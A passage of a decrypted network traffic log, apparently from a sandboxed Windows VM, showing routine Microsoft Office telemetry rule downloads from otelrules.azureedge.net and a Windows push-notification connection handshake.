Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:10 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:11 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:11 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: def6a666-601e-0001-6e47-2afaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145911Z-r197bdfb6b4cxj4bmw6ag8gees00000000x0000000006c10 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:11 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S
2024-10-30 14:59:34 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:34 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:34 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3bd815fc-c01e-0066-6070-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145934Z-16849878b78qg9mlz11wgn0wcc00000007ng00000000xgxs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:34 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:10 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:11 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:11 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: bf2855ec-b01e-0084-57b7-2ad736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145911Z-16849878b78qfbkc5yywmsbg0c00000007sg00000000tgfz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:11 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=
2024-10-30 14:59:33 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:33 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:33 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 0df29f50-101e-005a-068d-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145933Z-16849878b787wpl5wqkt5731b400000008x000000000mr17 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:33 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49736	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:11 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 33 54 65 41 31 6e 69 54 30 45 61 35 66 2f 6d 39 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 30 35 62 36 35 66 38 32 65 34 63 37 32 36 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 3TeA1niT0Ea5f/m9.1Context: 305b65f82e4c7260
2024-10-30 14:59:11 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-30 14:59:11 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 33 54 65 41 31 6e 69 54 30 45 61 35 66 2f 6d 39 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 30 35 62 36 35 66 38 32 65 34 63 37 32 36 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 52 61 73 58 72 58 58 72 6b 6a 49 69 70 73 2b 67 69 7a 75 2f 6b 78 4d 4b 62 4e 76 42 2f 41 4a 39 6b 62 32 69 31 38 72 55 48 51 68 68 4b 53 59 6e 35 6e 76 36 6e 53 45 54 69 4c 63 32 34 4f 54 6a 64 74 36 44 4f 6e 70 57 50 48 4f 6e 37 45 6e 73 78 64 6f 42 4c 6e 62 77 70 4d 59 47 42 44 35 79 42 51 48 6e 45 30 30 63 2f 71 36 49 2f Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 3TeA1niT0Ea5f/m9.2Context: 305b65f82e4c7260<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAARasXrXXrkjIips+gizu/kxMKbNvB/AJ9kb2i18rUHQhhKSYn5nv6nSETiLc24OTjdt6DOnpWPHOn7EnsxdoBLnbwpMYGBD5yBQHnE00c/q6I/
2024-10-30 14:59:11 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 33 54 65 41 31 6e 69 54 30 45 61 35 66 2f 6d 39 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 30 35 62 36 35 66 38 32 65 34 63 37 32 36 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 3TeA1niT0Ea5f/m9.3Context: 305b65f82e4c7260<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-30 14:59:11 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-30 14:59:11 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 53 6d 71 63 33 4c 6d 64 42 45 6d 31 39 42 57 73 56 70 37 36 46 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Smqc3LmdBEm19BWsVp76Fg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:11 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:11 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:11 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 546431bf-201e-0085-0b72-2734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145911Z-16849878b78km6fmmkbenhx76n00000007gg00000000g8g5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:11 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru
2024-10-30 14:59:34 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:35 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:34 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 3a798620-501e-00a0-0295-279d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145934Z-16849878b78j5kdg3dndgqw0vg00000009y0000000008peq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:35 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:11 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:11 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:11 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 67fffc2c-401e-000a-5dae-264a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145911Z-16849878b787wpl5wqkt5731b400000008vg00000000rmu7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:11 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"
2024-10-30 14:59:34 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:34 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:34 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 903d1aff-701e-0050-019c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145934Z-16849878b78p49s6zkwt11bbkn00000007x00000000070rb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:34 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:11 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:11 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:11 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 54a08b66-801e-008f-529b-272c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145911Z-16849878b78xblwksrnkakc08w000000079g00000000xsdr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:11 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:11 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:12 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:11 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 46a88b53-101e-0017-7e74-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145911Z-16849878b787wpl5wqkt5731b4000000091g000000000d07 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
